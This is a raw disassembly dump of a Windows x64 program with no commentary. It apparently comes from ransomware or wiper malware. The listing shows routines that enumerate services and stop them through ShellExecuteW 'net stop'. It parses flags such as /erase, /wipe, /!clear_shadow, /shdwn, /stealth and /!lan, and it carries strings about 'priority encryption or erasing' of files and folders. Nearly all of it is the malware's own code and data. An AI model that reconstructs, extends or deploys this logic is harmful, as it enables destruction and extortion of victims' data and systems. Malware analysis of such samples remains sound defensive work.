00450059mov rdx, [rip-344]
00450060mov r8l, 1
00450066mov r9l, [rbp+204]
0045006dcall fn_410430
00450072mov rax, [rbp+184]
00450079mov [rbp+176], rax
00450080mov rax, [rbp+184]
00450087mov [rbp+152], rax
0045008ecmp [rbp+152], 0
00450096je 0x4500aa
00450098mov rax, [rbp+152]
0045009fmov rax, [rax-8]
004500a3mov [rbp+152], rax
004500aa
004500aaloc_4500aa:
004500aamov rcx, [rbp+216]
004500b1mov edx, 304
004500b6mov r8l, 1
004500bcmov r9, [rbp+176]
004500c3mov eax, [rbp+152]
004500c9mov [rsp+32], eax
004500cdlea rax, [rbp+204]
004500d4mov [rsp+40], rax
004500d9lea rax, [rbp+200]
004500e0mov [rsp+48], rax
004500e5lea rax, [rbp+196]
004500ecmov [rsp+56], rax
004500f1call EnumServicesStatusW
004500f6test eax, eax
004500f8je 0x4502aa
004500fe
004500feloc_4500fe:
004500fecmp [rbp+200], 0
00450105jbe 0x45029b
0045010bmov rax, [rbp+176]
00450112mov [rbp+168], rax
00450119xor eax, eax
0045011bmov ecx, [rbp+200]
00450121sub ecx, 1
00450124mov [rbp+76], ecx
00450127mov [rbp+208], eax
0045012dmov ecx, [rbp+76]
00450130cmp [rbp+208], ecx
00450136jg 0x45029a
0045013cmov ecx, [rbp+76]
0045013fsub ecx, eax
00450141add ecx, 1
00450144mov [rbp+76], ecx
00450147
00450147loc_450147:
00450147nop
00450148xor eax, eax
0045014amov rcx, [rip+0x13e6f]
00450151mov rcx, [rcx+72]
00450155mov ebx, [rcx+16]
00450158sub ebx, 1
0045015bmov [rbp+212], eax
00450161cmp [rbp+212], ebx
00450167jg 0x450273
0045016dsub ebx, eax
0045016fadd ebx, 1
00450172
00450172loc_450172:
00450172lea rcx, [rbp+120]
00450176mov rax, [rip+0x13e43]
0045017dmov rax, [rax+72]
00450181mov rax, [rax+8]
00450185movsxd rdx, [rbp+212]
0045018cmov rdx, [rax+8*rdx]
00450190call fn_40d850
00450195lea rcx, [rbp+128]
0045019cmov rdx, [rbp+120]
004501a0call fn_4220f0
004501a5lea rcx, [rbp+104]
004501a9mov rax, [rbp+168]
004501b0mov rdx, [rax]
004501b3call fn_40d0d0
004501b8lea rcx, [rbp+112]
004501bcmov rdx, [rbp+104]
004501c0call fn_4220f0
004501c5mov rcx, [rbp+128]
004501ccmov rdx, [rbp+112]
004501d0call fn_40d640
004501d5test eax, eax
004501d7jne 0x450261
004501ddmov rax, [rbp+168]
004501e4cmp [rax+20], 4
004501e8jne 0x450261
004501ealea rcx, [rbp+80]
004501eemov rax, [rbp+168]
004501f5mov rdx, [rax]
004501f8call fn_40d0d0
004501fdlea rcx, [rbp+88]
00450201mov rdx, [rbp+80]
00450205call fn_422140
0045020alea rcx, [rbp+96]
0045020emov edx, 3
00450213lea r8, [rip+338]
0045021amov r9, [rbp+88]
0045021elea rax, [rip+347]
00450225mov [rsp+32], rax
0045022acall fn_40d530
0045022fmov rcx, [rbp+96]
00450233call fn_40d180
00450238xor ecx, ecx
0045023alea rdx, [rip+277]
00450241lea r8, [rip+280]
00450248mov r9, rax
0045024bmov [rsp+32], 0
00450254mov [rsp+40], 0
0045025ccall ShellExecuteW
00450261
00450261loc_450261:
00450261add [rbp+212], 1
00450268sub ebx, 1
0045026btest ebx, ebx
0045026djne 0x450172
00450273
00450273loc_450273:
00450273nop
00450274jmp 0x45027e
00450276
00450276 90 90 e8 a3 ae fb ff 90 ........
0045027e
0045027eloc_45027e:
0045027eadd [rbp+168], 48
00450286mov eax, [rbp+76]
00450289sub eax, 1
0045028cmov [rbp+76], eax
0045028fmov eax, [rbp+76]
00450292test eax, eax
00450294jne 0x450147
0045029a
0045029aloc_45029a:
0045029anop
0045029b
0045029bloc_45029b:
0045029bnop
0045029cmov rcx, [rbp+216]
004502a3call CloseServiceHandle
004502a8jmp 0x4502ba
004502aa
004502aaloc_4502aa:
004502aaxor ecx, ecx
004502acmov rdx, [rbp+136]
004502b3call fn_450300
004502b8jmp 0x4502bb
004502ba
004502baloc_4502ba:
004502banop
004502bb
004502bbloc_4502bb:
004502bblea rcx, [rbp+80]
004502bfmov edx, 7
004502c4call fn_40be70
004502c9lea rcx, [rbp+184]
004502d0mov rdx, [rip-975]
004502d7call fn_410600
004502dclea rsp, [rbp+232]
004502e3pop rbx
004502e4pop rbp
004502e5ret
0044ff50

004502e6
004502e6 48 90 48 8d 04 05 00 00 00 00 H.H.......

004502f0
004502f0fn_4502f0:
004502f0sub rsp, 40
004502f4call fn_40b050
004502f9add rsp, 40
004502fdret
004502f0

004502fe
004502fe 48 90 H.

00450300
00450300fn_450300:
00450300push rbp
00450301sub rsp, 32
00450305mov rbp, rsp
00450308mov rcx, [rdx+216]
0045030fcall CloseServiceHandle
00450314lea rsp, [rbp+32]
00450318pop rbp
00450319ret
00450300

0045031a
0045031a 64 48 8d 44 20 00 dH.D .

00450320
00450320fn_450320:
00450320push rbp
00450321push rbx
00450322sub rsp, 40
00450326mov rbp, rsp
00450329mov rbx, rdx
0045032clea rcx, [rbx+80]
00450330mov edx, 7
00450335call fn_40be70
0045033alea rcx, [rbx+184]
00450341mov rdx, [rip-1088]
00450348call fn_410600
0045034dlea rsp, [rbp+40]
00450351pop rbx
00450352pop rbp
00450353ret
00450320

00450354
00450354 00 00 6f 00 70 00 65 00 6e 00 00 00 ..o.p.e.n...
00450360 6e 00 65 00 74 00 00 00 0c 00 00 00 73 00 74 00 n.e.t.......s.t.
00450370 6f 00 70 00 20 00 22 00 00 00 00 00 02 00 00 00 o.p. .".........
00450380 22 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc "...............

00450390
00450390fn_450390:
00450390sub rsp, 40
00450394jmp 0x4503aa
00450396
00450396loc_450396:
00450396call fn_44fcc0
0045039bcall fn_44ff50
004503a0mov ecx, 1000
004503a5call Sleep
004503aa
004503aaloc_4503aa:
004503aamov rax, [rip+0x13c67]
004503b1cmp [rax], 0
004503b4jne 0x450396
004503b6add rsp, 40
004503baret
00450390

004503bb
004503bb // align 0x10

004503c0
004503c0Unit59.finalization:
004503c0add [rip+0x203e1], 1
004503c7cmp [rip+0x203da], 0
004503ceret
004503c0

004503cf
004503cf // align 0x10

004503d0
004503d0Unit59.initialization:
004503d0sub [rip+0x203d1], 1
004503d7cmp [rip+0x203ca], -1
004503deret
004503d0

004503df
004503df // align 0x10

004503e0
004503e0fn_4503e0:
004503e0push rbp
004503e1sub rsp, 48
004503e5mov rbp, rsp
004503e8mov [rbp+64], rcx
004503ecmov rcx, [rbp+64]
004503f0call fn_40bec0
004503f5nop
004503f6xor eax, eax
004503f8mov [rbp+47], al
004503fbmov rcx, [rbp+64]
004503fflea rdx, [rip+654]
00450406call fn_40dc90
0045040btest eax, eax
0045040dje 0x45064f
00450413mov rcx, [rbp+64]
00450417lea rdx, [rip+650]
0045041ecall fn_40dc90
00450423test eax, eax
00450425je 0x45064f
0045042bmov rcx, [rbp+64]
0045042flea rdx, [rip+654]
00450436call fn_40dc90
0045043btest eax, eax
0045043dje 0x45064f
00450443mov rcx, [rbp+64]
00450447lea rdx, [rip+654]
0045044ecall fn_40dc90
00450453test eax, eax
00450455je 0x45064f
0045045bmov rcx, [rbp+64]
0045045flea rdx, [rip+658]
00450466call fn_40dc90
0045046btest eax, eax
0045046dje 0x45064f
00450473mov rcx, [rbp+64]
00450477lea rdx, [rip+662]
0045047ecall fn_40dc90
00450483test eax, eax
00450485je 0x45064f
0045048bmov rcx, [rbp+64]
0045048flea rdx, [rip+662]
00450496call fn_40dc90
0045049btest eax, eax
0045049dje 0x45064f
004504a3mov rcx, [rbp+64]
004504a7lea rdx, [rip+666]
004504aecall fn_40dc90
004504b3test eax, eax
004504b5je 0x45064f
004504bbmov rcx, [rbp+64]
004504bflea rdx, [rip+678]
004504c6call fn_40dc90
004504cbtest eax, eax
004504cdje 0x45064f
004504d3mov rcx, [rbp+64]
004504d7lea rdx, [rip+686]
004504decall fn_40dc90
004504e3test eax, eax
004504e5je 0x45064f
004504ebmov rcx, [rbp+64]
004504eflea rdx, [rip+694]
004504f6call fn_40dc90
004504fbtest eax, eax
004504fdje 0x45064f
00450503mov rcx, [rbp+64]
00450507lea rdx, [rip+690]
0045050ecall fn_40dc90
00450513test eax, eax
00450515je 0x45064f
0045051bmov rcx, [rbp+64]
0045051flea rdx, [rip+690]
00450526call fn_40dc90
0045052btest eax, eax
0045052dje 0x45064f
00450533mov rcx, [rbp+64]
00450537lea rdx, [rip+694]
0045053ecall fn_40dc90
00450543test eax, eax
00450545je 0x45064f
0045054bmov rcx, [rbp+64]
0045054flea rdx, [rip+694]
00450556call fn_40dc90
0045055btest eax, eax
0045055dje 0x45064f
00450563mov rcx, [rbp+64]
00450567lea rdx, [rip+698]
0045056ecall fn_40dc90
00450573test eax, eax
00450575je 0x45064f
0045057bmov rcx, [rbp+64]
0045057flea rdx, [rip+714]
00450586call fn_40dc90
0045058btest eax, eax
0045058dje 0x45064f
00450593mov rcx, [rbp+64]
00450597lea rdx, [rip+734]
0045059ecall fn_40dc90
004505a3test eax, eax
004505a5je 0x45064f
004505abmov rcx, [rbp+64]
004505aflea rdx, [rip+734]
004505b6call fn_40dc90
004505bbtest eax, eax
004505bdje 0x45064f
004505c3mov rcx, [rbp+64]
004505c7lea rdx, [rip+738]
004505cecall fn_40dc90
004505d3test eax, eax
004505d5je 0x45064f
004505d7mov rcx, [rbp+64]
004505dblea rdx, [rip+754]
004505e2call fn_40dc90
004505e7test eax, eax
004505e9je 0x45064f
004505ebmov rcx, [rbp+64]
004505eflea rdx, [rip+762]
004505f6call fn_40dc90
004505fbtest eax, eax
004505fdje 0x45064f
004505ffmov rcx, [rbp+64]
00450603lea rdx, [rip+786]
0045060acall fn_40dc90
0045060ftest eax, eax
00450611je 0x45064f
00450613mov rcx, [rbp+64]
00450617lea rdx, [rip+798]
0045061ecall fn_40dc90
00450623test eax, eax
00450625je 0x45064f
00450627mov rcx, [rbp+64]
0045062blea rdx, [rip+802]
00450632call fn_40dc90
00450637test eax, eax
00450639je 0x45064f
0045063bmov rcx, [rbp+64]
0045063flea rdx, [rip+814]
00450646call fn_40dc90
0045064btest eax, eax
0045064djne 0x450654
0045064f
0045064floc_45064f:
0045064fmov al, 1
00450651mov [rbp+47], al
00450654
00450654loc_450654:
00450654nop
00450655lea rcx, [rbp+64]
00450659call fn_40bcf0
0045065emovzx rax, [rbp+47]
00450663lea rsp, [rbp+48]
00450667pop rbp
00450668ret
004503e0

00450669
00450669 48 8d 80 00 00 00 00 H......

00450670
00450670fn_450670:
00450670push rbp
00450671sub rsp, 32
00450675mov rbp, rsp
00450678lea rcx, [rdx+64]
0045067ccall fn_40bcf0
00450681lea rsp, [rbp+32]
00450685pop rbp
00450686ret
00450670

00450687
00450687 00 b0 04 02 00 ff ff ff ff .........
00450690 02 00 00 00 2f 00 72 00 00 00 00 00 b0 04 02 00 ..../.r.........
004506a0 ff ff ff ff 06 00 00 00 2f 00 73 00 6c 00 65 00 ......../.s.l.e.
004506b0 65 00 70 00 00 00 00 00 b0 04 02 00 ff ff ff ff e.p.............
004506c0 05 00 00 00 2f 00 66 00 75 00 6c 00 6c 00 00 00 ..../.f.u.l.l...
004506d0 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 64 00 ............/.d.
004506e0 65 00 62 00 75 00 67 00 00 00 00 00 b0 04 02 00 e.b.u.g.........
004506f0 ff ff ff ff 06 00 00 00 2f 00 6c 00 6f 00 67 00 ......../.l.o.g.
00450700 5f 00 66 00 00 00 00 00 b0 04 02 00 ff ff ff ff _.f.............
00450710 05 00 00 00 2f 00 66 00 61 00 73 00 74 00 00 00 ..../.f.a.s.t...
00450720 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 65 00 ............/.e.
00450730 72 00 61 00 73 00 65 00 00 00 00 00 b0 04 02 00 r.a.s.e.........
00450740 ff ff ff ff 0b 00 00 00 2f 00 69 00 73 00 5f 00 ......../.i.s._.
00450750 74 00 65 00 73 00 74 00 69 00 6e 00 67 00 00 00 t.e.s.t.i.n.g...
00450760 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
00450770 65 00 73 00 74 00 5f 00 63 00 69 00 64 00 00 00 e.s.t._.c.i.d...
00450780 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 74 00 ............/.t.
00450790 65 00 73 00 74 00 5f 00 76 00 69 00 64 00 00 00 e.s.t._.v.i.d...
004507a0 b0 04 02 00 ff ff ff ff 02 00 00 00 2f 00 70 00 ............/.p.
004507b0 00 00 00 00 b0 04 02 00 ff ff ff ff 05 00 00 00 ................
004507c0 2f 00 70 00 61 00 74 00 68 00 00 00 b0 04 02 00 /.p.a.t.h.......
004507d0 ff ff ff ff 07 00 00 00 2f 00 21 00 6c 00 6f 00 ......../.!.l.o.
004507e0 63 00 61 00 6c 00 00 00 b0 04 02 00 ff ff ff ff c.a.l...........
004507f0 05 00 00 00 2f 00 21 00 6c 00 61 00 6e 00 00 00 ..../.!.l.a.n...
00450800 b0 04 02 00 ff ff ff ff 06 00 00 00 2f 00 73 00 ............/.s.
00450810 68 00 64 00 77 00 6e 00 00 00 00 00 b0 04 02 00 h.d.w.n.........
00450820 ff ff ff ff 0d 00 00 00 2f 00 61 00 6c 00 6c 00 ......../.a.l.l.
00450830 6f 00 77 00 5f 00 73 00 79 00 73 00 74 00 65 00 o.w._.s.y.s.t.e.
00450840 6d 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 m...............
00450850 2f 00 21 00 63 00 6c 00 65 00 61 00 72 00 5f 00 /.!.c.l.e.a.r._.
00450860 73 00 68 00 61 00 64 00 6f 00 77 00 00 00 00 00 s.h.a.d.o.w.....
00450870 b0 04 02 00 ff ff ff ff 05 00 00 00 2f 00 77 00 ............/.w.
00450880 69 00 70 00 65 00 00 00 b0 04 02 00 ff ff ff ff i.p.e...........
00450890 06 00 00 00 2f 00 64 00 65 00 70 00 74 00 68 00 ..../.d.e.p.t.h.
004508a0 00 00 00 00 b0 04 02 00 ff ff ff ff 0b 00 00 00 ................
004508b0 2f 00 21 00 70 00 72 00 65 00 72 00 65 00 6e 00 /.!.p.r.e.r.e.n.
004508c0 61 00 6d 00 65 00 00 00 b0 04 02 00 ff ff ff ff a.m.e...........
004508d0 07 00 00 00 2f 00 64 00 65 00 6c 00 65 00 74 00 ..../.d.e.l.e.t.
004508e0 65 00 00 00 b0 04 02 00 ff ff ff ff 0e 00 00 00 e...............
004508f0 2f 00 63 00 6c 00 65 00 61 00 72 00 5f 00 65 00 /.c.l.e.a.r._.e.
00450900 78 00 63 00 6c 00 75 00 64 00 65 00 00 00 00 00 x.c.l.u.d.e.....
00450910 b0 04 02 00 ff ff ff ff 09 00 00 00 2f 00 70 00 ............/.p.
00450920 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 00 00 r.i.o.r.i.t.y...
00450930 b0 04 02 00 ff ff ff ff 04 00 00 00 2f 00 69 00 ............/.i.
00450940 70 00 73 00 00 00 00 00 b0 04 02 00 ff ff ff ff p.s.............
00450950 08 00 00 00 2f 00 73 00 74 00 65 00 61 00 6c 00 ..../.s.t.e.a.l.
00450960 74 00 68 00 00 00 00 00 b0 04 02 00 ff ff ff ff t.h.............
00450970 02 00 00 00 2f 00 65 00 00 00 cc cc cc cc cc cc ..../.e.........

00450980
00450980fn_450980:
00450980push rbp
00450981push rsi
00450982push rbx
00450983sub rsp, 96
00450987mov rbp, rsp
0045098amov [rbp+56], 0
00450992mov [rbp+48], 0
0045099amov [rbp+72], 0
004509a2mov [rbp+64], 0
004509aamov [rbp+88], 0
004509b2nop
004509b3mov rax, [rip+0x13606]
004509bamov rax, [rax+768]
004509c1cmp [rax+16], 0
004509c5je 0x450c1a
004509cblea rcx, [rbp+88]
004509cfmov rax, [rip+0x134d2]
004509d6mov rdx, [rax]
004509d9call fn_40d820
004509demov rax, [rip+0x135db]
004509e5cmp [rax+308], 0
004509ecje 0x450a0c
004509eexor ecx, ecx
004509f0mov dl, 1
004509f2call fn_439060
004509f7lea rcx, [rip+670]
004509femov dl, 1
00450a00call fn_439060
00450a05xor ecx, ecx
00450a07call fn_4392a0
00450a0c
00450a0cloc_450a0c:
00450a0cxor eax, eax
00450a0emov rcx, [rip+0x135ab]
00450a15mov rcx, [rcx+768]
00450a1cmov esi, [rcx+16]
00450a1fsub esi, 1
00450a22mov ebx, eax
00450a24cmp ebx, esi
00450a26jg 0x450bda
00450a2csub esi, eax
00450a2eadd esi, 1
00450a31
00450a31loc_450a31:
00450a31mov rcx, [rip+0x13470]
00450a38mov rax, [rip+0x13581]
00450a3fmov rax, [rax+768]
00450a46mov rax, [rax+8]
00450a4amovsxd rdx, ebx
00450a4dmov rdx, [rax+8*rdx]
00450a51call fn_40d850
00450a56mov rax, [rip+0x13563]
00450a5dmov [rax+317], 0
00450a64mov rax, [rip+0x1343d]
00450a6bmov rcx, [rax]
00450a6ecall fn_42fe80
00450a73test al, al
00450a75je 0x450add
00450a77mov rax, [rip+0x13542]
00450a7ecmp [rax+308], 0
00450a85je 0x450ac9
00450a87xor ecx, ecx
00450a89mov dl, 1
00450a8bcall fn_439060
00450a90lea rcx, [rbp+72]
00450a94lea rdx, [rip+601]
00450a9bmov rax, [rip+0x13406]
00450aa2mov r8, [rax]
00450aa5call fn_40d230
00450aaalea rcx, [rbp+64]
00450aaemov rdx, [rbp+72]
00450ab2call fn_40d820
00450ab7mov rcx, [rbp+64]
00450abbmov dl, 1
00450abdcall fn_439060
00450ac2xor ecx, ecx
00450ac4call fn_4392a0
00450ac9
00450ac9loc_450ac9:
00450ac9mov rax, [rip+0x133d8]
00450ad0mov rcx, [rax]
00450ad3call fn_44e970
00450ad8jmp 0x450bcc
00450add
00450addloc_450add:
00450addmov rax, [rip+0x134dc]
00450ae4cmp [rax+307], 0
00450aebjne 0x450b41
00450aedmov rax, [rip+0x134cc]
00450af4cmp [rax+308], 0
00450afbjne 0x450b41
00450afdjmp 0x450b09
00450aff
00450affloc_450aff:
00450affmov ecx, 10000
00450b04call Sleep
00450b09
00450b09loc_450b09:
00450b09xor ecx, ecx
00450b0bxor edx, edx
00450b0dlea r8, [rip-6932]
00450b14xor r9, r9
00450b17mov [rsp+32], 0
00450b1fmov rax, [rip+0x133f2]
00450b26mov [rsp+40], rax
00450b2bcall fn_40bb20
00450b30test rax, rax
00450b33je 0x450aff
00450b35mov ecx, 5000
00450b3acall Sleep
00450b3fjmp 0x450b4f
00450b41
00450b41loc_450b41:
00450b41mov rax, [rip+0x13478]
00450b48mov [rax+317], 1
00450b4f
00450b4floc_450b4f:
00450b4fmov rax, [rip+0x1346a]
00450b56cmp [rax+308], 0
00450b5dje 0x450ba1
00450b5fxor ecx, ecx
00450b61mov dl, 1
00450b63call fn_439060
00450b68lea rcx, [rbp+56]
00450b6clea rdx, [rip+457]
00450b73mov rax, [rip+0x1332e]
00450b7amov r8, [rax]
00450b7dcall fn_40d230
00450b82lea rcx, [rbp+48]
00450b86mov rdx, [rbp+56]
00450b8acall fn_40d820
00450b8fmov rcx, [rbp+48]
00450b93mov dl, 1
00450b95call fn_439060
00450b9axor ecx, ecx
00450b9ccall fn_4392a0
00450ba1
00450ba1loc_450ba1:
00450ba1mov rax, [rip+0x13300]
00450ba8mov rcx, [rax]
00450babcall fn_44ec90
00450bb0jmp 0x450bbc
00450bb2
00450bb2loc_450bb2:
00450bb2mov ecx, 1000
00450bb7call Sleep
00450bbc
00450bbcloc_450bbc:
00450bbcmov rax, [rip+0x133fd]
00450bc3cmp [rax+317], 0
00450bcaje 0x450bb2
00450bcc
00450bccloc_450bcc:
00450bccadd ebx, 1
00450bcfsub esi, 1
00450bd2test esi, esi
00450bd4jne 0x450a31
00450bda
00450bdaloc_450bda:
00450bdanop
00450bdbmov rax, [rip+0x133de]
00450be2cmp [rax+308], 0
00450be9je 0x450c09
00450bebxor ecx, ecx
00450bedmov dl, 1
00450befcall fn_439060
00450bf4lea rcx, [rip+405]
00450bfbmov dl, 1
00450bfdcall fn_439060
00450c02xor ecx, ecx
00450c04call fn_4392a0
00450c09
00450c09loc_450c09:
00450c09mov rcx, [rip+0x13298]
00450c10mov rdx, [rbp+88]
00450c14call fn_40d850
00450c19nop
00450c1a
00450c1aloc_450c1a:
00450c1alea rcx, [rbp+48]
00450c1ecall fn_40bcf0
00450c23lea rcx, [rbp+56]
00450c27call fn_40bd90
00450c2clea rcx, [rbp+64]
00450c30call fn_40bcf0
00450c35lea rcx, [rbp+72]
00450c39call fn_40bd90
00450c3elea rcx, [rbp+88]
00450c42call fn_40bcf0
00450c47lea rsp, [rbp+96]
00450c4bpop rbx
00450c4cpop rsi
00450c4dpop rbp
00450c4eret
00450980

00450c4f
00450c4f // align 0x10

00450c50
00450c50fn_450c50:
00450c50push rbp
00450c51push rbx
00450c52sub rsp, 40
00450c56mov rbp, rsp
00450c59mov rbx, rdx
00450c5clea rcx, [rbx+48]
00450c60call fn_40bcf0
00450c65lea rcx, [rbx+56]
00450c69call fn_40bd90
00450c6elea rcx, [rbx+64]
00450c72call fn_40bcf0
00450c77lea rcx, [rbx+72]
00450c7bcall fn_40bd90
00450c80lea rcx, [rbx+88]
00450c84call fn_40bcf0
00450c89lea rsp, [rbp+40]
00450c8dpop rbx
00450c8epop rbp
00450c8fret
00450c50

00450c90
00450c90 b0 04 02 00 ff ff ff ff 28 00 00 00 53 00 74 00 ........(...S.t.
00450ca0 61 00 72 00 74 00 20 00 6f 00 66 00 20 00 70 00 a.r.t. .o.f. .p.
00450cb0 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 r.i.o.r.i.t.y. .
00450cc0 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 e.n.c.r.y.p.t.i.
00450cd0 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 72 00 o.n. .o.r. .e.r.
00450ce0 61 00 73 00 69 00 6e 00 67 00 2e 00 00 00 00 00 a.s.i.n.g.......
00450cf0 40 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 @...T.r.y. .t.o.
00450d00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450d10 20 00 66 00 69 00 6c 00 65 00 20 00 28 00 70 00 .f.i.l.e. .(.p.
00450d20 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 29 00 r.i.o.r.i.t.y.).
00450d30 3a 00 20 00 00 00 00 00 44 00 00 00 54 00 72 00 :. .....D...T.r.
00450d40 79 00 20 00 74 00 6f 00 20 00 65 00 6e 00 63 00 y. .t.o. .e.n.c.
00450d50 72 00 79 00 70 00 74 00 20 00 66 00 6f 00 6c 00 r.y.p.t. .f.o.l.
00450d60 64 00 65 00 72 00 20 00 28 00 70 00 72 00 69 00 d.e.r. .(.p.r.i.
00450d70 6f 00 72 00 69 00 74 00 79 00 29 00 3a 00 20 00 o.r.i.t.y.).:. .
00450d80 00 00 00 00 b0 04 02 00 ff ff ff ff 29 00 00 00 ............)...
00450d90 50 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 P.r.i.o.r.i.t.y.
00450da0 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450db0 69 00 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 i.o.n. .o.r. .e.
00450dc0 72 00 61 00 73 00 69 00 6e 00 67 00 20 00 63 00 r.a.s.i.n.g. .c.
00450dd0 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
00450de0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................

00450df0
00450df0fn_450df0:
00450df0push rbp
00450df1sub rsp, 64
00450df5mov rbp, rsp
00450df8mov [rbp+32], 0
00450e00mov [rbp+40], rbp
00450e04mov [rbp+80], rcx
00450e08mov [rbp+88], rdx
00450e0cmov [rbp+96], r8
00450e10mov [rbp+104], r9
00450e14lea rcx, [rbp+80]
00450e18call fn_40bf00
00450e1dnop
00450e1enop
00450e1flea rcx, [rbp+32]
00450e23mov rdx, [rbp+80]
00450e27call fn_40d820
00450e2cmov rcx, [rbp+32]
00450e30call fn_422950
00450e35mov [rbp+56], rax
00450e39jmp 0x450e4b
00450e3b
00450e3b 90 90 48 8b 45 ..H.E
00450e40 58 48 89 45 38 e8 d6 a2 fb ff 90 XH.E8......
00450e4b
00450e4bloc_450e4b:
00450e4bmov rax, [rbp+56]
00450e4fcmp rax, [rbp+96]
00450e53jge 0x450e5d
00450e55mov rax, [rbp+88]
00450e59mov [rbp+56], rax
00450e5d
00450e5dloc_450e5d:
00450e5dmov rax, [rbp+56]
00450e61cmp rax, [rbp+104]
00450e65jle 0x450e6f
00450e67mov rax, [rbp+88]
00450e6bmov [rbp+56], rax
00450e6f
00450e6floc_450e6f:
00450e6fnop
00450e70lea rcx, [rbp+32]
00450e74call fn_40bcf0
00450e79lea rcx, [rbp+80]
00450e7dcall fn_40bd90
00450e82mov rax, [rbp+56]
00450e86lea rsp, [rbp+64]
00450e8apop rbp
00450e8bret
00450df0

00450e8c
00450e8c 48 8d 40 00 H.@.

00450e90
00450e90fn_450e90:
00450e90sub rsp, 40
00450e94call fn_40b050
00450e99add rsp, 40
00450e9dret
00450e90

00450e9e
00450e9e 48 90 H.

00450ea0
00450ea0fn_450ea0:
00450ea0push rbp
00450ea1push rbx
00450ea2sub rsp, 40
00450ea6mov rbp, rsp
00450ea9mov rbx, rdx
00450eaclea rcx, [rbx+32]
00450eb0call fn_40bcf0
00450eb5lea rcx, [rbx+80]
00450eb9call fn_40bd90
00450ebelea rsp, [rbp+40]
00450ec2pop rbx
00450ec3pop rbp
00450ec4ret
00450ea0

00450ec5
00450ec5 // align 0x10

00450ed0
00450ed0fn_450ed0:
00450ed0push rbp
00450ed1sub rsp, 48
00450ed5mov rbp, rsp
00450ed8mov [rbp+40], 0
00450ee0nop
00450ee1lea rcx, [rbp+40]
00450ee5mov edx, 4
00450eeacall fn_433160
00450eeflea rcx, [rbp+40]
00450ef3call fn_430a00
00450ef8mov rcx, [rip+0x13349]
00450effmov [rcx], eax
00450f01lea rcx, [rbp+40]
00450f05mov rdx, [rip-0x220ec]
00450f0ccall fn_410600
00450f11nop
00450f12lea rcx, [rbp+40]
00450f16mov rdx, [rip-0x220fd]
00450f1dcall fn_410600
00450f22lea rsp, [rbp+48]
00450f26pop rbp
00450f27ret
00450ed0

00450f28
00450f28 48 8d 04 05 00 00 00 00 H.......

00450f30
00450f30fn_450f30:
00450f30push rbp
00450f31sub rsp, 32
00450f35mov rbp, rsp
00450f38lea rcx, [rdx+40]
00450f3cmov rdx, [rip-0x22123]
00450f43call fn_410600
00450f48lea rsp, [rbp+32]
00450f4cpop rbp
00450f4dret
00450f30

00450f4e
00450f4e // align 0x10

00450f50
00450f50fn_450f50:
00450f50push rbp
00450f51sub rsp, 48
00450f55mov rbp, rsp
00450f58mov [rbp+40], 0
00450f60nop
00450f61mov rax, [rip+0x13070]
00450f68mov [rax+768], 0
00450f6fmov [rip+0x1f833], 1
00450f79jmp 0x450fd8
00450f7b
00450f7bloc_450f7b:
00450f7blea rcx, [rbp+40]
00450f7fmov edx, [rip+0x1f827]
00450f85call fn_405df0
00450f8amov rcx, [rbp+40]
00450f8elea rdx, [rip+143]
00450f95call fn_40dc90
00450f9atest eax, eax
00450f9cjne 0x450fd1
00450f9emov rax, [rip+0x13033]
00450fa5mov [rax+768], 1
00450facmov rax, [rip+0x13025]
00450fb3lea rcx, [rax+760]
00450fbamov edx, [rip+0x1f7ec]
00450fc0add edx, 1
00450fc3call fn_405df0
00450fc8add [rip+0x1f7dd], 2
00450fcfjmp 0x450fd8
00450fd1
00450fd1loc_450fd1:
00450fd1add [rip+0x1f7d4], 1
00450fd8
00450fd8loc_450fd8:
00450fd8call fn_405d70
00450fddcmp [rip+0x1f7c9], eax
00450fe3jle 0x450f7b
00450fe5nop
00450fe6lea rcx, [rbp+40]
00450feacall fn_40bcf0
00450feflea rsp, [rbp+48]
00450ff3pop rbp
00450ff4ret
00450f50

00450ff5
00450ff5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......

00451000
00451000fn_451000:
00451000push rbp
00451001sub rsp, 32
00451005mov rbp, rsp
00451008lea rcx, [rdx+40]
0045100ccall fn_40bcf0
00451011lea rsp, [rbp+32]
00451015pop rbp
00451016ret
00451000

00451017
00451017 00 b0 04 02 00 ff ff ff ff .........
00451020 06 00 00 00 2f 00 6c 00 6f 00 67 00 5f 00 66 00 ..../.l.o.g._.f.
00451030 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................

00451040
00451040fn_451040:
00451040push rbp
00451041push rdi
00451042push rsi
00451043push rbx
00451044sub rsp, 88
00451048mov rbp, rsp
0045104bmov [rbp+48], 0
00451053mov [rbp+56], 0
0045105bmov [rbp+64], 0
00451063mov [rbp+72], 0
0045106bnop
0045106cmov al, 1
0045106emov [rbp+47], al
00451071mov rax, [rip+0x12f48]
00451078mov [rax+308], 0
0045107fmov rax, [rip+0x12f3a]
00451086mov [rax+309], 0
0045108dxor ebx, ebx
0045108fxor esi, esi
00451092xor edi, edi
00451095mov [rip+0x1f70d], 1
0045109fjmp 0x45113f
004510a4
004510a4loc_4510a4:
004510a4lea rcx, [rbp+72]
004510a8mov edx, [rip+0x1f6fe]
004510aecall fn_405df0
004510b3mov rcx, [rbp+72]
004510b7lea rdx, [rip+378]
004510becall fn_40dc90
004510c3test eax, eax
004510c5jne 0x4510c9
004510c7mov bl, 1
004510c9
004510c9loc_4510c9:
004510c9lea rcx, [rbp+64]
004510cdmov edx, [rip+0x1f6d9]
004510d3call fn_405df0
